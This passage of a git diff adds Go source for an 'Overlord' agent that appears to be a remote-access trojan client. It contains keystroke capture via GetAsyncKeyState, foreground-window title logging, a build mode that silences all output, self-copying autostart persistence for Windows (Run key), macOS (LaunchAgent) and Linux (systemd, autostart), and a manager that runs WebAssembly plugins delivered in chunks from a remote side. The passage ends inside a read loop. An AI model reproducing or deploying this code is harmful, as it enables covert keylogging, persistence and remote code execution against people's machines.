+func oemKeyFallback(vk int, shiftDown bool) string {
+ switch vk {
+ case 0xBA: // VK_OEM_1 ;:
+ if shiftDown {
+ return ":"
+ }
+ return ";"
+ case 0xBB: // VK_OEM_PLUS =+
+ if shiftDown {
+ return "+"
+ }
+ return "="
+ case 0xBC: // VK_OEM_COMMA ,<
+ if shiftDown {
+ return "<"
+ }
+ return ","
+ case 0xBD: // VK_OEM_MINUS -_
+ if shiftDown {
+ return "_"
+ }
+ return "-"
+ case 0xBE: // VK_OEM_PERIOD .>
+ if shiftDown {
+ return ">"
+ }
+ return "."
+ case 0xBF: // VK_OEM_2 /?
+ if shiftDown {
+ return "?"
+ }
+ return "/"
+ case 0xC0: // VK_OEM_3 `~
+ if shiftDown {
+ return "~"
+ }
+ return "`"
+ case 0xDB: // VK_OEM_4 [{
+ if shiftDown {
+ return "{"
+ }
+ return "["
+ case 0xDC: // VK_OEM_5 \|
+ if shiftDown {
+ return "|"
+ }
+ return "\\"
+ case 0xDD: // VK_OEM_6 ]}
+ if shiftDown {
+ return "}"
+ }
+ return "]"
+ case 0xDE: // VK_OEM_7 '\"
+ if shiftDown {
+ return "\""
+ }
+ return "'"
+ }
+ return ""
+}
+
+func getAsyncKeyState(vk int) uint16 {
+ ret, _, _ := procGetAsyncKeyState.Call(uintptr(vk))
+ return uint16(ret)
+}
+
+func keyNameForCombo(vk int) string {
+ // Letters
+ if vk >= 0x41 && vk <= 0x5A {
+ return string(rune('A' + (vk - 0x41)))
+ }
+ // Digits 0-9
+ if vk >= 0x30 && vk <= 0x39 {
+ return string(rune('0' + (vk - 0x30)))
+ }
+ // Function keys
+ if vk >= 0x70 && vk <= 0x87 {
+ return fmt.Sprintf("F%d", vk-0x6F)
+ }
+ // Numpad digits
+ if vk >= 0x60 && vk <= 0x69 {
+ return fmt.Sprintf("NUM%d", vk-0x60)
+ }
+ return ""
+}
+
+func formatCombo(ctrlDown, altDown, shiftDown bool, key string) string {
+ parts := make([]string, 0, 4)
+ if ctrlDown {
+ parts = append(parts, "CTRL")
+ }
+ if altDown {
+ parts = append(parts, "ALT")
+ }
+ if shiftDown {
+ parts = append(parts, "SHIFT")
+ }
+ parts = append(parts, key)
+ return "[" + strings.Join(parts, "+") + "]"
+}
+
+func getWindowTitle() string {
+ hwnd, _, _ := procGetForegroundWindow.Call()
+ if hwnd == 0 {
+ return ""
+ }
+
+ var buf [256]uint16
+ ret, _, _ := procGetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
+ if ret == 0 {
+ return ""
+ }
+
+ return syscall.UTF16ToString(buf[:])
+}
diff --git a/Overlord-Client/cmd/agent/log_silence_noprint.go b/Overlord-Client/cmd/agent/log_silence_noprint.go
new file mode 100644
index 0000000..d4cb2a2
--- /dev/null
+++ b/Overlord-Client/cmd/agent/log_silence_noprint.go
@@ -0,0 +1,24 @@
+//go:build noprint
+// +build noprint
+
+package main
+
+import (
+ "io"
+ "log"
+ "os"
+)
+
+var devNullFile *os.File
+
+func init() {
+ log.SetOutput(io.Discard)
+
+ file, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0)
+ if err != nil {
+ return
+ }
+ devNullFile = file
+ os.Stdout = file
+ os.Stderr = file
+}
diff --git a/Overlord-Client/cmd/agent/main.go b/Overlord-Client/cmd/agent/main.go
new file mode 100644
index 0000000..bbd2dcb
--- /dev/null
+++ b/Overlord-Client/cmd/agent/main.go
@@ -0,0 +1,39 @@
+package main
+
+import (
+ "log"
+ "time"
+
+ "overlord-client/cmd/agent/config"
+ "overlord-client/cmd/agent/mutex"
+ "overlord-client/cmd/agent/persistence"
+)
+
+func main() {
+ cfg := config.Load()
+
+ if cfg.EnablePersistence {
+ if err := persistence.Setup(); err != nil {
+ log.Printf("Warning: Failed to setup persistence: %v", err)
+ }
+ }
+
+ releaseMutex, ok, err := mutex.Acquire(cfg.Mutex)
+ if err != nil {
+ log.Printf("[mutex] failed to initialize mutex: %v", err)
+ return
+ }
+ if !ok {
+ log.Printf("[mutex] another instance is already running; exiting")
+ return
+ }
+ defer releaseMutex()
+
+ for {
+ func() {
+ defer recoverAndLog("main", nil)
+ runClient(cfg)
+ }()
+ time.Sleep(2 * time.Second)
+ }
+}
diff --git a/Overlord-Client/cmd/agent/main_test.go b/Overlord-Client/cmd/agent/main_test.go
new file mode 100644
index 0000000..bea6ba7
--- /dev/null
+++ b/Overlord-Client/cmd/agent/main_test.go
@@ -0,0 +1,17 @@
+package main
+
+import (
+ "testing"
+ "time"
+
+ rt "overlord-client/cmd/agent/runtime"
+)
+
+func TestMinDuration(t *testing.T) {
+ if got := rt.MinDuration(1*time.Second, 5*time.Second); got != 1*time.Second {
+ t.Fatalf("expected shorter duration returned, got %s", got)
+ }
+ if got := rt.MinDuration(5*time.Second, 1*time.Second); got != 1*time.Second {
+ t.Fatalf("expected shorter duration returned, got %s", got)
+ }
+}
diff --git a/Overlord-Client/cmd/agent/mutex/mutex.go b/Overlord-Client/cmd/agent/mutex/mutex.go
new file mode 100644
index 0000000..b32a41a
--- /dev/null
+++ b/Overlord-Client/cmd/agent/mutex/mutex.go
@@ -0,0 +1,33 @@
+package mutex
+
+import (
+ "fmt"
+ "strings"
+)
+
+const maxMutexLength = 64
+
+func sanitizeName(name string) (string, error) {
+ trimmed := strings.TrimSpace(name)
+ if trimmed == "" {
+ return "", fmt.Errorf("empty mutex name")
+ }
+
+ var builder strings.Builder
+ for _, r := range trimmed {
+ if (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_' || r == '.' {
+ builder.WriteRune(r)
+ }
+ }
+
+ sanitized := builder.String()
+ if sanitized == "" {
+ return "", fmt.Errorf("mutex name has no valid characters")
+ }
+
+ if len(sanitized) > maxMutexLength {
+ sanitized = sanitized[:maxMutexLength]
+ }
+
+ return sanitized, nil
+}
diff --git a/Overlord-Client/cmd/agent/mutex/mutex_unix.go b/Overlord-Client/cmd/agent/mutex/mutex_unix.go
new file mode 100644
index 0000000..b4745f6
--- /dev/null
+++ b/Overlord-Client/cmd/agent/mutex/mutex_unix.go
@@ -0,0 +1,44 @@
+//go:build !windows
+
+package mutex
+
+import (
+ "errors"
+ "fmt"
+ "os"
+ "path/filepath"
+
+ "golang.org/x/sys/unix"
+)
+
+func Acquire(name string) (func(), bool, error) {
+ if name == "" {
+ return func() {}, true, nil
+ }
+
+ sanitized, err := sanitizeName(name)
+ if err != nil {
+ return nil, false, err
+ }
+
+ lockPath := filepath.Join(os.TempDir(), fmt.Sprintf("overlord-%s.lock", sanitized))
+ file, err := os.OpenFile(lockPath, os.O_CREATE|os.O_RDWR, 0o644)
+ if err != nil {
+ return nil, false, fmt.Errorf("open mutex file: %w", err)
+ }
+
+ if err := unix.Flock(int(file.Fd()), unix.LOCK_EX|unix.LOCK_NB); err != nil {
+ _ = file.Close()
+ if errors.Is(err, unix.EWOULDBLOCK) {
+ return func() {}, false, nil
+ }
+ return nil, false, fmt.Errorf("lock mutex file: %w", err)
+ }
+
+ release := func() {
+ _ = unix.Flock(int(file.Fd()), unix.LOCK_UN)
+ _ = file.Close()
+ }
+
+ return release, true, nil
+}
diff --git a/Overlord-Client/cmd/agent/mutex/mutex_windows.go b/Overlord-Client/cmd/agent/mutex/mutex_windows.go
new file mode 100644
index 0000000..ec5dabf
--- /dev/null
+++ b/Overlord-Client/cmd/agent/mutex/mutex_windows.go
@@ -0,0 +1,38 @@
+//go:build windows
+
+package mutex
+
+import (
+ "fmt"
+
+ "golang.org/x/sys/windows"
+)
+
+func Acquire(name string) (func(), bool, error) {
+ if name == "" {
+ return func() {}, true, nil
+ }
+
+ sanitized, err := sanitizeName(name)
+ if err != nil {
+ return nil, false, err
+ }
+
+ fullName := "Global\\Overlord-" + sanitized
+ handle, err := windows.CreateMutex(nil, false, windows.StringToUTF16Ptr(fullName))
+ if err != nil {
+ return nil, false, fmt.Errorf("create mutex: %w", err)
+ }
+
+ if windows.GetLastError() == windows.ERROR_ALREADY_EXISTS {
+ windows.CloseHandle(handle)
+ return func() {}, false, nil
+ }
+
+ release := func() {
+ _ = windows.ReleaseMutex(handle)
+ _ = windows.CloseHandle(handle)
+ }
+
+ return release, true, nil
+}
diff --git a/Overlord-Client/cmd/agent/persistence/persistence.go b/Overlord-Client/cmd/agent/persistence/persistence.go
new file mode 100644
index 0000000..af1819d
--- /dev/null
+++ b/Overlord-Client/cmd/agent/persistence/persistence.go
@@ -0,0 +1,34 @@
+package persistence
+
+import (
+ "os"
+ "path/filepath"
+)
+
+func Setup() error {
+ exePath, err := os.Executable()
+ if err != nil {
+ return err
+ }
+ exePath, err = filepath.Abs(exePath)
+ if err != nil {
+ return err
+ }
+ return install(exePath)
+}
+
+func InstallFrom(exePath string) error {
+ return install(exePath)
+}
+
+func Configure(exePath string) error {
+ return configure(exePath)
+}
+
+func TargetPath() (string, error) {
+ return getTargetPath()
+}
+
+func Remove() error {
+ return uninstall()
+}
diff --git a/Overlord-Client/cmd/agent/persistence/persistence_darwin.go b/Overlord-Client/cmd/agent/persistence/persistence_darwin.go
new file mode 100644
index 0000000..9d5faa1
--- /dev/null
+++ b/Overlord-Client/cmd/agent/persistence/persistence_darwin.go
@@ -0,0 +1,197 @@
+//go:build darwin
+// +build darwin
+
+package persistence
+
+import (
+ "fmt"
+ "io"
+ "os"
+ "os/user"
+ "path/filepath"
+ "text/template"
+)
+
+const launchAgentPlist = `
+
+
+
+ Label
+ com.overlord.agent
+ ProgramArguments
+
+ {{.ExePath}}
+
+ RunAtLoad
+
+ KeepAlive
+
+ StandardOutPath
+ /tmp/overlord-agent.log
+ StandardErrorPath
+ /tmp/overlord-agent-error.log
+
+
+`
+
+func getPlistPath() (string, error) {
+ usr, err := user.Current()
+ if err != nil {
+ return "", err
+ }
+ return filepath.Join(usr.HomeDir, "Library", "LaunchAgents", "com.overlord.agent.plist"), nil
+}
+
+func getTargetPath() (string, error) {
+ usr, err := user.Current()
+ if err != nil {
+ return "", err
+ }
+ return filepath.Join(usr.HomeDir, "Library", "Application Support", "Overlord", "agent"), nil
+}
+
+func install(exePath string) error {
+
+ targetPath, err := getTargetPath()
+ if err != nil {
+ return fmt.Errorf("failed to get target path: %w", err)
+ }
+
+ dir := filepath.Dir(targetPath)
+ if err := os.MkdirAll(dir, 0755); err != nil {
+ return fmt.Errorf("failed to create Overlord directory: %w", err)
+ }
+
+ if err := replaceExecutable(exePath, targetPath); err != nil {
+ return err
+ }
+
+ plistPath, err := getPlistPath()
+ if err != nil {
+ return fmt.Errorf("failed to get plist path: %w", err)
+ }
+
+ launchAgentsDir := filepath.Dir(plistPath)
+ if err := os.MkdirAll(launchAgentsDir, 0755); err != nil {
+ return fmt.Errorf("failed to create LaunchAgents directory: %w", err)
+ }
+
+ file, err := os.Create(plistPath)
+ if err != nil {
+ return fmt.Errorf("failed to create plist file: %w", err)
+ }
+ defer file.Close()
+
+ tmpl, err := template.New("plist").Parse(launchAgentPlist)
+ if err != nil {
+ return fmt.Errorf("failed to parse template: %w", err)
+ }
+
+ data := struct {
+ ExePath string
+ }{
+ ExePath: targetPath,
+ }
+
+ if err := tmpl.Execute(file, data); err != nil {
+ return fmt.Errorf("failed to write plist file: %w", err)
+ }
+
+ return nil
+}
+
+func replaceExecutable(exePath, targetPath string) error {
+ srcFile, err := os.Open(exePath)
+ if err != nil {
+ return fmt.Errorf("failed to open source executable: %w", err)
+ }
+ defer srcFile.Close()
+
+ dir := filepath.Dir(targetPath)
+ tmpFile, err := os.CreateTemp(dir, "agent-*.tmp")
+ if err != nil {
+ return fmt.Errorf("failed to create temp executable: %w", err)
+ }
+ tmpPath := tmpFile.Name()
+ defer func() {
+ _ = tmpFile.Close()
+ _ = os.Remove(tmpPath)
+ }()
+
+ if _, err := io.Copy(tmpFile, srcFile); err != nil {
+ return fmt.Errorf("failed to copy executable: %w", err)
+ }
+ if err := tmpFile.Sync(); err != nil {
+ return fmt.Errorf("failed to sync temp file: %w", err)
+ }
+ if err := tmpFile.Close(); err != nil {
+ return fmt.Errorf("failed to close temp file: %w", err)
+ }
+
+ if err := os.Rename(tmpPath, targetPath); err != nil {
+ if removeErr := os.Remove(targetPath); removeErr == nil {
+ if err = os.Rename(tmpPath, targetPath); err == nil {
+ return nil
+ }
+ }
+ return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err)
+ }
+
+ if err := os.Chmod(targetPath, 0755); err != nil {
+ return fmt.Errorf("failed to set executable permissions: %w", err)
+ }
+
+ return nil
+}
+
+func configure(exePath string) error {
+ plistPath, err := getPlistPath()
+ if err != nil {
+ return fmt.Errorf("failed to get plist path: %w", err)
+ }
+
+ launchAgentsDir := filepath.Dir(plistPath)
+ if err := os.MkdirAll(launchAgentsDir, 0755); err != nil {
+ return fmt.Errorf("failed to create LaunchAgents directory: %w", err)
+ }
+
+ file, err := os.Create(plistPath)
+ if err != nil {
+ return fmt.Errorf("failed to create plist file: %w", err)
+ }
+ defer file.Close()
+
+ tmpl, err := template.New("plist").Parse(launchAgentPlist)
+ if err != nil {
+ return fmt.Errorf("failed to parse template: %w", err)
+ }
+
+ data := struct {
+ ExePath string
+ }{
+ ExePath: exePath,
+ }
+
+ if err := tmpl.Execute(file, data); err != nil {
+ return fmt.Errorf("failed to execute template: %w", err)
+ }
+
+ return nil
+}
+
+func uninstall() error {
+ plistPath, err := getPlistPath()
+ if err != nil {
+ return fmt.Errorf("failed to get plist path: %w", err)
+ }
+
+ if err := os.Remove(plistPath); err != nil && !os.IsNotExist(err) {
+ return fmt.Errorf("failed to remove plist file: %w", err)
+ }
+
+ if targetPath, err := getTargetPath(); err == nil {
+ os.Remove(targetPath)
+ }
+
+ return nil
+}
diff --git a/Overlord-Client/cmd/agent/persistence/persistence_linux.go b/Overlord-Client/cmd/agent/persistence/persistence_linux.go
new file mode 100644
index 0000000..cbf8787
--- /dev/null
+++ b/Overlord-Client/cmd/agent/persistence/persistence_linux.go
@@ -0,0 +1,227 @@
+//go:build linux
+// +build linux
+
+package persistence
+
+import (
+ "fmt"
+ "io"
+ "os"
+ "os/user"
+ "path/filepath"
+ "text/template"
+)
+
+const systemdService = `[Unit]
+Description=Overlord Agent
+After=network.target
+
+[Service]
+Type=simple
+ExecStart={{.ExePath}}
+Restart=always
+RestartSec=10
+
+[Install]
+WantedBy=default.target
+`
+
+const desktopEntry = `[Desktop Entry]
+Type=Application
+Name=Overlord Agent
+Exec={{.ExePath}}
+Hidden=false
+NoDisplay=false
+X-GNOME-Autostart-enabled=true
+`
+
+func getSystemdPath() (string, error) {
+ usr, err := user.Current()
+ if err != nil {
+ return "", err
+ }
+ return filepath.Join(usr.HomeDir, ".config", "systemd", "user", "overlord-agent.service"), nil
+}
+
+func getAutostartPath() (string, error) {
+ usr, err := user.Current()
+ if err != nil {
+ return "", err
+ }
+ return filepath.Join(usr.HomeDir, ".config", "autostart", "overlord-agent.desktop"), nil
+}
+
+func getTargetPath() (string, error) {
+ usr, err := user.Current()
+ if err != nil {
+ return "", err
+ }
+ return filepath.Join(usr.HomeDir, ".local", "share", "overlord", "agent"), nil
+}
+
+func install(exePath string) error {
+
+ targetPath, err := getTargetPath()
+ if err != nil {
+ return fmt.Errorf("failed to get target path: %w", err)
+ }
+
+ dir := filepath.Dir(targetPath)
+ if err := os.MkdirAll(dir, 0755); err != nil {
+ return fmt.Errorf("failed to create overlord directory: %w", err)
+ }
+
+ if err := replaceExecutable(exePath, targetPath); err != nil {
+ return err
+ }
+
+ if err := installSystemd(targetPath); err == nil {
+ return nil
+ }
+
+ return installAutostart(targetPath)
+}
+
+func replaceExecutable(exePath, targetPath string) error {
+ srcFile, err := os.Open(exePath)
+ if err != nil {
+ return fmt.Errorf("failed to open source executable: %w", err)
+ }
+ defer srcFile.Close()
+
+ dir := filepath.Dir(targetPath)
+ tmpFile, err := os.CreateTemp(dir, "agent-*.tmp")
+ if err != nil {
+ return fmt.Errorf("failed to create temp executable: %w", err)
+ }
+ tmpPath := tmpFile.Name()
+ defer func() {
+ _ = tmpFile.Close()
+ _ = os.Remove(tmpPath)
+ }()
+
+ if _, err := io.Copy(tmpFile, srcFile); err != nil {
+ return fmt.Errorf("failed to copy executable: %w", err)
+ }
+ if err := tmpFile.Sync(); err != nil {
+ return fmt.Errorf("failed to sync temp file: %w", err)
+ }
+ if err := tmpFile.Close(); err != nil {
+ return fmt.Errorf("failed to close temp file: %w", err)
+ }
+
+ if err := os.Rename(tmpPath, targetPath); err != nil {
+ if removeErr := os.Remove(targetPath); removeErr == nil {
+ if err = os.Rename(tmpPath, targetPath); err == nil {
+ return nil
+ }
+ }
+ return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err)
+ }
+
+ if err := os.Chmod(targetPath, 0755); err != nil {
+ return fmt.Errorf("failed to set executable permissions: %w", err)
+ }
+
+ return nil
+}
+
+func installSystemd(exePath string) error {
+ servicePath, err := getSystemdPath()
+ if err != nil {
+ return err
+ }
+
+ dir := filepath.Dir(servicePath)
+ if err := os.MkdirAll(dir, 0755); err != nil {
+ return fmt.Errorf("failed to create systemd directory: %w", err)
+ }
+
+ file, err := os.Create(servicePath)
+ if err != nil {
+ return fmt.Errorf("failed to create service file: %w", err)
+ }
+ defer file.Close()
+
+ tmpl, err := template.New("service").Parse(systemdService)
+ if err != nil {
+ return fmt.Errorf("failed to parse template: %w", err)
+ }
+
+ data := struct {
+ ExePath string
+ }{
+ ExePath: exePath,
+ }
+
+ if err := tmpl.Execute(file, data); err != nil {
+ return fmt.Errorf("failed to write service file: %w", err)
+ }
+
+ return nil
+}
+
+func configure(exePath string) error {
+ if err := installSystemd(exePath); err == nil {
+ return nil
+ }
+ return installAutostart(exePath)
+}
+
+func installAutostart(exePath string) error {
+ autostartPath, err := getAutostartPath()
+ if err != nil {
+ return err
+ }
+
+ dir := filepath.Dir(autostartPath)
+ if err := os.MkdirAll(dir, 0755); err != nil {
+ return fmt.Errorf("failed to create autostart directory: %w", err)
+ }
+
+ file, err := os.Create(autostartPath)
+ if err != nil {
+ return fmt.Errorf("failed to create desktop entry: %w", err)
+ }
+ defer file.Close()
+
+ tmpl, err := template.New("desktop").Parse(desktopEntry)
+ if err != nil {
+ return fmt.Errorf("failed to parse template: %w", err)
+ }
+
+ data := struct {
+ ExePath string
+ }{
+ ExePath: exePath,
+ }
+
+ if err := tmpl.Execute(file, data); err != nil {
+ return fmt.Errorf("failed to write desktop entry: %w", err)
+ }
+
+ return nil
+}
+
+func uninstall() error {
+
+ var lastErr error
+
+ if servicePath, err := getSystemdPath(); err == nil {
+ if err := os.Remove(servicePath); err != nil && !os.IsNotExist(err) {
+ lastErr = fmt.Errorf("failed to remove systemd service: %w", err)
+ }
+ }
+
+ if autostartPath, err := getAutostartPath(); err == nil {
+ if err := os.Remove(autostartPath); err != nil && !os.IsNotExist(err) {
+ lastErr = fmt.Errorf("failed to remove autostart entry: %w", err)
+ }
+ }
+
+ if targetPath, err := getTargetPath(); err == nil {
+ os.Remove(targetPath)
+ }
+
+ return lastErr
+}
diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows.go b/Overlord-Client/cmd/agent/persistence/persistence_windows.go
new file mode 100644
index 0000000..6fb4947
--- /dev/null
+++ b/Overlord-Client/cmd/agent/persistence/persistence_windows.go
@@ -0,0 +1,132 @@
+//go:build windows
+// +build windows
+
+package persistence
+
+import (
+ "fmt"
+ "io"
+ "os"
+ "path/filepath"
+
+ "golang.org/x/sys/windows/registry"
+)
+
+const registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
+const registryValueName = "OverlordAgent"
+
+func getTargetPath() (string, error) {
+ appDataDir := os.Getenv("APPDATA")
+ if appDataDir == "" {
+ return "", fmt.Errorf("APPDATA environment variable not set")
+ }
+ return filepath.Join(appDataDir, "Overlord", "agent.exe"), nil
+}
+
+func install(exePath string) error {
+
+ targetPath, err := getTargetPath()
+ if err != nil {
+ return err
+ }
+
+ overlordDir := filepath.Dir(targetPath)
+ err = os.MkdirAll(overlordDir, 0755)
+ if err != nil {
+ return fmt.Errorf("failed to create Overlord directory: %w", err)
+ }
+
+ if err := replaceExecutable(exePath, targetPath); err != nil {
+ return err
+ }
+
+ k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
+ if err != nil {
+ return fmt.Errorf("failed to open registry key: %w", err)
+ }
+ defer k.Close()
+
+ err = k.SetStringValue(registryValueName, targetPath)
+ if err != nil {
+ return fmt.Errorf("failed to set registry value: %w", err)
+ }
+
+ return nil
+}
+
+func replaceExecutable(exePath, targetPath string) error {
+ srcFile, err := os.Open(exePath)
+ if err != nil {
+ return fmt.Errorf("failed to open source executable: %w", err)
+ }
+ defer srcFile.Close()
+
+ dir := filepath.Dir(targetPath)
+ tmpFile, err := os.CreateTemp(dir, "agent-*.tmp")
+ if err != nil {
+ return fmt.Errorf("failed to create temp executable: %w", err)
+ }
+ tmpPath := tmpFile.Name()
+ defer func() {
+ _ = tmpFile.Close()
+ _ = os.Remove(tmpPath)
+ }()
+
+ if _, err := io.Copy(tmpFile, srcFile); err != nil {
+ return fmt.Errorf("failed to copy executable: %w", err)
+ }
+ if err := tmpFile.Sync(); err != nil {
+ return fmt.Errorf("failed to sync temp file: %w", err)
+ }
+ if err := tmpFile.Close(); err != nil {
+ return fmt.Errorf("failed to close temp file: %w", err)
+ }
+
+ if err := os.Rename(tmpPath, targetPath); err != nil {
+ if removeErr := os.Remove(targetPath); removeErr == nil {
+ if err = os.Rename(tmpPath, targetPath); err == nil {
+ return nil
+ }
+ }
+ return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err)
+ }
+
+ return nil
+}
+
+func configure(exePath string) error {
+ k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
+ if err != nil {
+ return fmt.Errorf("failed to open registry key: %w", err)
+ }
+ defer k.Close()
+
+ if err := k.SetStringValue(registryValueName, exePath); err != nil {
+ return fmt.Errorf("failed to set registry value: %w", err)
+ }
+
+ return nil
+}
+
+func uninstall() error {
+
+ k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
+ if err != nil {
+ return fmt.Errorf("failed to open registry key: %w", err)
+ }
+ defer k.Close()
+
+ err = k.DeleteValue(registryValueName)
+ if err != nil && err != registry.ErrNotExist {
+ return fmt.Errorf("failed to delete registry value: %w", err)
+ }
+
+ appDataDir := os.Getenv("APPDATA")
+ if appDataDir != "" {
+ targetPath := filepath.Join(appDataDir, "Overlord", "agent.exe")
+
+ os.Remove(targetPath)
+ }
+
+ return nil
+}
diff --git a/Overlord-Client/cmd/agent/plugins/manager.go b/Overlord-Client/cmd/agent/plugins/manager.go
new file mode 100644
index 0000000..f30ddbc
--- /dev/null
+++ b/Overlord-Client/cmd/agent/plugins/manager.go
@@ -0,0 +1,348 @@
+package plugins
+
+import (
+ "context"
+ "errors"
+ "io"
+ "log"
+ "sync"
+
+ "github.com/tetratelabs/wazero"
+ "github.com/tetratelabs/wazero/api"
+ "github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1"
+ "github.com/vmihailenco/msgpack/v5"
+
+ "overlord-client/cmd/agent/wire"
+)
+
+type Manager struct {
+ mu sync.Mutex
+ plugins map[string]*pluginInstance
+ pending map[string]*pendingBundle
+ writer wire.Writer
+ host HostInfo
+}
+
+type pluginInstance struct {
+ id string
+ manifest PluginManifest
+ ctx context.Context
+ cancel context.CancelFunc
+ runtime wazero.Runtime
+ module api.Module
+ stdin io.WriteCloser
+ stdout io.ReadCloser
+ stderr io.ReadCloser
+ enc *msgpack.Encoder
+ dec *msgpack.Decoder
+ encMu sync.Mutex
+}
+
+type pendingBundle struct {
+ manifest PluginManifest
+ totalSize int
+ totalChunks int
+ chunks map[int][]byte
+ received int
+ receivedSz int
+}
+
+func NewManager(writer wire.Writer, host HostInfo) *Manager {
+ return &Manager{
+ plugins: make(map[string]*pluginInstance),
+ pending: make(map[string]*pendingBundle),
+ writer: writer,
+ host: host,
+ }
+}
+
+func (m *Manager) StartBundle(manifest PluginManifest, totalSize int, totalChunks int) error {
+ if manifest.ID == "" {
+ return errors.New("missing plugin id")
+ }
+ if totalChunks <= 0 {
+ return errors.New("invalid total chunks")
+ }
+ if totalSize <= 0 {
+ return errors.New("invalid total size")
+ }
+ if totalChunks > 10000 {
+ return errors.New("too many chunks")
+ }
+
+ m.mu.Lock()
+ m.pending[manifest.ID] = &pendingBundle{
+ manifest: manifest,
+ totalSize: totalSize,
+ totalChunks: totalChunks,
+ chunks: make(map[int][]byte),
+ }
+ m.mu.Unlock()
+ return nil
+}
+
+func (m *Manager) AddChunk(pluginId string, index int, data []byte) error {
+ if pluginId == "" {
+ return errors.New("missing plugin id")
+ }
+ if index < 0 {
+ return errors.New("invalid chunk index")
+ }
+
+ m.mu.Lock()
+ b := m.pending[pluginId]
+ if b == nil {
+ m.mu.Unlock()
+ return errors.New("bundle not initialized")
+ }
+ if _, exists := b.chunks[index]; !exists {
+ b.chunks[index] = data
+ b.received++
+ b.receivedSz += len(data)
+ }
+ m.mu.Unlock()
+ return nil
+}
+
+func (m *Manager) FinalizeBundle(ctx context.Context, pluginId string) error {
+ m.mu.Lock()
+ b := m.pending[pluginId]
+ if b == nil {
+ m.mu.Unlock()
+ return errors.New("bundle not initialized")
+ }
+ if b.received < b.totalChunks {
+ m.mu.Unlock()
+ return errors.New("bundle incomplete")
+ }
+
+ chunks := make([][]byte, b.totalChunks)
+ for i := 0; i < b.totalChunks; i++ {
+ chunks[i] = b.chunks[i]
+ if chunks[i] == nil {
+ m.mu.Unlock()
+ return errors.New("missing chunk")
+ }
+ }
+ manifest := b.manifest
+ delete(m.pending, pluginId)
+ m.mu.Unlock()
+
+ combined := make([]byte, 0, b.totalSize)
+ for _, part := range chunks {
+ combined = append(combined, part...)
+ }
+ return m.Load(ctx, manifest, combined)
+}
+
+func (m *Manager) Load(ctx context.Context, manifest PluginManifest, wasm []byte) error {
+ if len(wasm) == 0 {
+ return errors.New("empty wasm payload")
+ }
+ pluginID := manifest.ID
+ if pluginID == "" {
+ return errors.New("missing plugin id")
+ }
+
+ m.mu.Lock()
+ if existing, ok := m.plugins[pluginID]; ok {
+ _ = existing.Close()
+ delete(m.plugins, pluginID)
+ }
+ m.mu.Unlock()
+
+ runtimeCtx, cancel := context.WithCancel(ctx)
+ rt := wazero.NewRuntime(runtimeCtx)
+ if _, err := wasi_snapshot_preview1.Instantiate(runtimeCtx, rt); err != nil {
+ cancel()
+ return err
+ }
+
+ stdinR, stdinW := io.Pipe()
+ stdoutR, stdoutW := io.Pipe()
+ stderrR, stderrW := io.Pipe()
+
+ config := wazero.NewModuleConfig().
+ WithStdin(stdinR).
+ WithStdout(stdoutW).
+ WithStderr(stderrW).
+ WithStartFunctions()
+
+ compiled, err := rt.CompileModule(runtimeCtx, wasm)
+ if err != nil {
+ cancel()
+ return err
+ }
+
+ module, err := rt.InstantiateModule(runtimeCtx, compiled, config)
+ if err != nil {
+ cancel()
+ return err
+ }
+
+ pi := &pluginInstance{
+ id: pluginID,
+ manifest: manifest,
+ ctx: runtimeCtx,
+ cancel: cancel,
+ runtime: rt,
+ module: module,
+ stdin: stdinW,
+ stdout: stdoutR,
+ stderr: stderrR,
+ enc: msgpack.NewEncoder(stdinW),
+ dec: msgpack.NewDecoder(stdoutR),
+ }
+
+ goSafe("plugin readLoop", pi.cancel, func() {
+ m.readLoop(pi)
+ })
+ goSafe("plugin readStderr", pi.cancel, func() {
+ m.readStderr(pi)
+ })
+
+ if start := module.ExportedFunction("_start"); start != nil {
+ goSafe("plugin _start", pi.cancel, func() {
+ if _, err := start.Call(runtimeCtx); err != nil {
+ log.Printf("[plugin] %s _start error: %v", pluginID, err)
+ }
+ })
+ }
+
+ if err := m.sendInit(pi); err != nil {
+ _ = pi.Close()
+ return err
+ }
+
+ m.mu.Lock()
+ m.plugins[pluginID] = pi
+ m.mu.Unlock()
+
+ log.Printf("[plugin] loaded %s", pluginID)
+ return nil
+}
+
+func (m *Manager) Dispatch(ctx context.Context, pluginId, event string, payload interface{}) error {
+ m.mu.Lock()
+ pi := m.plugins[pluginId]
+ m.mu.Unlock()
+ if pi == nil {
+ return nil
+ }
+ msg := PluginMessage{Type: "event", Event: event, Payload: payload}
+ return m.sendMessage(ctx, pi, msg)
+}
+
+func (m *Manager) Close() {
+ m.mu.Lock()
+ defer m.mu.Unlock()
+ for id, pi := range m.plugins {
+ _ = pi.Close()
+ delete(m.plugins, id)
+ }
+}
+
+func (m *Manager) Unload(pluginId string) {
+ m.mu.Lock()
+ defer m.mu.Unlock()
+ if pi, ok := m.plugins[pluginId]; ok {
+ _ = pi.Close()
+ delete(m.plugins, pluginId)
+ }
+}
+
+func (m *Manager) sendInit(pi *pluginInstance) error {
+ payload := map[string]interface{}{
+ "manifest": pi.manifest,
+ "host": m.host,
+ }
+ msg := PluginMessage{Type: "init", Payload: payload}
+ return m.sendMessage(context.Background(), pi, msg)
+}
+
+func (m *Manager) sendMessage(ctx context.Context, pi *pluginInstance, msg PluginMessage) error {
+ pi.encMu.Lock()
+ defer pi.encMu.Unlock()
+ select {
+ case <-ctx.Done():
+ return ctx.Err()
+ default:
+ return pi.enc.Encode(msg)
+ }
+}
+
+func (m *Manager) readLoop(pi *pluginInstance) {
+ defer func() {
+ if r := recover(); r != nil {
+ log.Printf("[plugin] %s read loop panic: %v", pi.id, r)
+ }
+ }()
+ for {
+ var msg map[string]interface{}
+ if err := pi.dec.Decode(&msg); err != nil {
+ if errors.Is(err, io.EOF) || errors.Is(err, context.Canceled) {
+ return
+ }
+ log.Printf("[plugin] %s read error: %v", pi.id, err)
+ return
+ }
